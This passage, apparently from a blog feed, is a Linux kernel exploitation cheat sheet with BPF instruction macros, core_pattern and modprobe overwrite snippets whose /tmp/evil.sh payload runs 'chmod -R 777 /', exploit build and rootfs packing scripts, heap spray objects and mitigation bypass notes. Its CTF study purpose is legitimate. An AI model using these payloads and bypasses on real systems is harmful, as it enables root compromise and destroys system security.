#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10

/* Additional register mappings for converted user programs. */
#define BPF_REG_A BPF_REG_0
#define BPF_REG_X BPF_REG_7
#define BPF_REG_TMP BPF_REG_8

/* BPF program can access up to 512 bytes of stack space. */
#define MAX_BPF_STACK 512

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = 0,                               \
                     .imm = 0})

#define BPF_ALU32_REG(OP, DST, SRC)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = 0,                             \
                     .imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = 0,                               \
                     .imm = IMM})

#define BPF_ALU32_IMM(OP, DST, IMM)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = 0,                             \
                     .imm = IMM})

/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */

#define BPF_ENDIAN(TYPE, DST, LEN)                              \
  ((struct bpf_insn){.code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = LEN})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                      \
                     .src_reg = SRC,                      \
                     .off = 0,                            \
                     .imm = 0})

#define BPF_MOV32_REG(DST, SRC)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                    \
                     .src_reg = SRC,                    \
                     .off = 0,                          \
                     .imm = 0})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                      \
                     .src_reg = 0,                        \
                     .off = 0,                            \
                     .imm = IMM})

#define BPF_MOV32_IMM(DST, IMM)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                    \
                     .src_reg = 0,                      \
                     .off = 0,                          \
                     .imm = IMM})

/* BPF_LD_IMM64 macro encodes single &amp;#39;load 64-bit immediate&amp;#39; insn */
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                           \
  ((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM,           \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = 0,                                    \
                     .imm = (__u32)(IMM)}),                       \
      ((struct bpf_insn){.code = 0, /* zero is reserved opcode */ \
                         .dst_reg = 0,                            \
                         .src_reg = 0,                            \
                         .off = 0,                                \
                         .imm = ((__u64)(IMM)) &amp;gt;&amp;gt; 32})

#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

/* Direct packet access, R0 = *(uint *) (skb-&amp;gt;data + imm32) */

#define BPF_LD_ABS(SIZE, IMM)                                   \
  ((struct bpf_insn){.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
                     .dst_reg = 0,                              \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = IMM})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */

#define BPF_STX_XADD(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = OFF,                                  \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)                         \
  ((struct bpf_insn){.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = OFF,                                \
                     .imm = IMM})

/*
 * Atomic operations:
 *
 *   BPF_ADD                  *(uint *) (dst_reg + off16) += src_reg
 *   BPF_AND                  *(uint *) (dst_reg + off16) &amp;amp;= src_reg
 *   BPF_OR                   *(uint *) (dst_reg + off16) |= src_reg
 *   BPF_XOR                  *(uint *) (dst_reg + off16) ^= src_reg
 *   BPF_ADD | BPF_FETCH      src_reg = atomic_fetch_add(dst_reg + off16,
 * src_reg); BPF_AND | BPF_FETCH      src_reg = atomic_fetch_and(dst_reg +
 * off16, src_reg); BPF_OR | BPF_FETCH       src_reg = atomic_fetch_or(dst_reg +
 * off16, src_reg); BPF_XOR | BPF_FETCH      src_reg = atomic_fetch_xor(dst_reg
 * + off16, src_reg); BPF_XCHG                 src_reg = atomic_xchg(dst_reg +
 * off16, src_reg) BPF_CMPXCHG              r0 = atomic_cmpxchg(dst_reg + off16,
 * r0, src_reg)
 */

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF)                      \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
                     .dst_reg = DST,                                \
                     .src_reg = SRC,                                \
                     .off = OFF,                                    \
                     .imm = OP})

/* Conditional jumps against registers, if (dst_reg &amp;#39;op&amp;#39; src_reg) goto pc +
 * off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = OFF,                           \
                     .imm = 0})

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = OFF,                             \
                     .imm = 0})

/* Conditional jumps against immediates, if (dst_reg &amp;#39;op&amp;#39; imm32) goto pc + off16
 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = OFF,                           \
                     .imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = OFF,                             \
                     .imm = IMM})

/* Function call */

#define BPF_EMIT_CALL(FUNC)                      \
  ((struct bpf_insn){.code = BPF_JMP | BPF_CALL, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = (FUNC)})

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
  ((struct bpf_insn){                          \
      .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM})

/* Program exit */

#define BPF_EXIT_INSN()                          \
  ((struct bpf_insn){.code = BPF_JMP | BPF_EXIT, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = 0})

#endif&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;473592816&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;473592816&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_core_pattern = &amp;#34;|/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;ulimit -c unlimited&amp;#34;);

uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;951762348&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;951762348&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;modprobe.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
system(&amp;#34;/tmp/pwn&amp;#34;);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;689753214&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;689753214&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;creds.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;

const char new_process_name[] = &amp;#34;uniguri&amp;#34;;

if (prctl(PR_SET_NAME, new_process_name) == -1) {
  printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
  return -1;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;scripts&#34;&gt;Scripts&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;748165932&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;748165932&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

# Check if an argument is provided
if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

# Extract the base name without the .c extension
SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

# Compile the file
musl-gcc &amp;#34;$SOURCE_FILE&amp;#34; -masm=intel -o &amp;#34;$OUTPUT_FILE&amp;#34; -static -pthread

# Check if the compilation was successful
if [ $? -eq 0 ]; then
  echo &amp;#34;Compilation successful: $OUTPUT_FILE&amp;#34;
else
  echo &amp;#34;Compilation failed.&amp;#34;
  exit 1
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;375148962&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;375148962&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;copy_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;exploit_binary&amp;gt;&amp;#34;
  exit 1
fi

cp $1 ./root/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;645279138&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;645279138&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;pack_rootfs.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

cd root
find . -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391627854&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391627854&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_compress_copy.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

./build_exploit.sh $SOURCE_FILE
./copy_exploit.sh $OUTPUT_FILE
./pack_rootfs.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&#34;&gt;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&#34;&gt;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;elastic-oeap-objects&#34;&gt;Elastic oeap objects&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Struct name&lt;/th&gt;
          &lt;th&gt;Generic caches&lt;/th&gt;
          &lt;th&gt;Constraints&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/keys/user-type.h&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[32,32767)&lt;/td&gt;
          &lt;td&gt;only 200 allocation&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/mm_types.h&#34;&gt;&lt;code&gt;struct anon_vma_name&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,96)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/msg.h&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[64,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/ipc/msgutil.c&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/drm/drm_property.h&#34;&gt;&lt;code&gt;struct drm_property_blob&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[96,INT_MAX)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;char* description&lt;/code&gt; in &lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/key.h&#34;&gt;&lt;code&gt;struct key&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096&lt;/td&gt;
          &lt;td&gt;)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;mitigations&#34;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SMEP (Supervisor Mode Execution Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent RET2USER&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smep&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smep&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMEP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SMAP (Supervisor Mode Access Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Stack Pivot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smap&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMAP&lt;/code&gt;, &lt;code&gt;EFLAGS.AC&lt;/code&gt; (&lt;code&gt;STAC&lt;/code&gt; and &lt;code&gt;CLAC&lt;/code&gt; Assembly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KASLR (Kernel Address Space Layout Randomization) / FGKASLR (Function Granular KASLR)
&lt;ul&gt;
&lt;li&gt;Entrophy: &lt;code&gt;0xffffffff81000000&lt;/code&gt; ~ &lt;code&gt;0xffffffffc0000000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deactivation: &lt;code&gt;-append &amp;quot;...nokaslr...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KPTI (Kernel Page-Table Isolation)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Meltdown&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-append &amp;quot;...pti=on...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /sys/devices/system/cpu/vulnerabilities/meltdown&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bypass:
&lt;ul&gt;
&lt;li&gt;If SMAP is disabled, &lt;code&gt;mmap(?, ?, ~ | MAP_POPULATE, ?, ?)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If ROP is allowed, use &lt;code&gt;ireq&lt;/code&gt; in &lt;code&gt;swapgs_restore_regs_and_return_to_usermode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KADR (Kernel Address Display Restriction)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Hide address in &lt;code&gt;/proc/kallsyms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;image-related&#34;&gt;Image Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Unpack CPIO: &lt;code&gt;cpio -idv &amp;lt;../rootfs.cpio&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pack CPIO: &lt;code&gt;find. -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;debugging&#34;&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Extract vmlinux from bzImage from &lt;a href=&#34;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&#34;&gt;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;


  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;312654897&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;312654897&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;extract-vmlinux&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland &amp;lt;dick@streefland.net&amp;gt;
#
# (c) 2011      Corentin Chary &amp;lt;corentin.chary@gmail.com&amp;gt;
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it&amp;#39;s a valid ELF
	# TODO: find a better to way to check that it&amp;#39;s really vmlinux
	#       and not just an elf
	readelf -h $1 &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the &amp;#34;tr&amp;#34; filter is to work around older versions of
	# &amp;#34;grep&amp;#34; that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr &amp;#34;$1\n$2&amp;#34; &amp;#34;\n$2=&amp;#34; &amp;lt; &amp;#34;$img&amp;#34; | grep -abo &amp;#34;^$2&amp;#34;`
	do
		pos=${pos%%:*}
		tail -c+$pos &amp;#34;$img&amp;#34; | $3 &amp;gt; $tmp 2&amp;gt; /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s &amp;#34;$img&amp;#34; ]
then
	echo &amp;#34;Usage: $me &amp;lt;kernel-image&amp;gt;&amp;#34; &amp;gt;&amp;amp;2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap &amp;#34;rm -f $tmp&amp;#34; 0

# That didn&amp;#39;t work, so retry after decompression.
try_decompress &amp;#39;\037\213\010&amp;#39; xy    gunzip
try_decompress &amp;#39;\3757zXZ\000&amp;#39; abcde unxz
try_decompress &amp;#39;BZh&amp;#39;          xy    bunzip2
try_decompress &amp;#39;\135\0\0\0&amp;#39;   xxx   unlzma
try_decompress &amp;#39;\211\114\132&amp;#39; xy    &amp;#39;lzop -d&amp;#39;
try_decompress &amp;#39;\002!L\030&amp;#39;   xxx   &amp;#39;lz4 -d&amp;#39;
try_decompress &amp;#39;(\265/\375&amp;#39;   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo &amp;#34;$me: Cannot find vmlinux.&amp;#34; &amp;gt;&amp;amp;2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;build-exploit-code&#34;&gt;Build Exploit Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use GLIBC: &lt;code&gt;gcc exploit.c -o exploit -static&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use MUSL-GCC: &lt;code&gt;/usr/local/musl/bin/musl-gcc exploit.c -o exploit -static&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;or: &lt;code&gt;gcc -S exploit.c -o exploit.S; musl-gcc exploit.S -o exploit.elf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;code-snippet&#34;&gt;Code Snippet&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;132875469&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;132875469&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;utils.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000ull
#define KERNEL_BASE_END 0xffffffffc0000000ull
#define KERNEL_BASE_MASK (~0x00000000000fffffull)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define MIN(x, y) (x) &amp;lt; (y) ? (x) : (y)
#define MAX(x, y) (x) &amp;gt; (y) ? (x) : (y)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
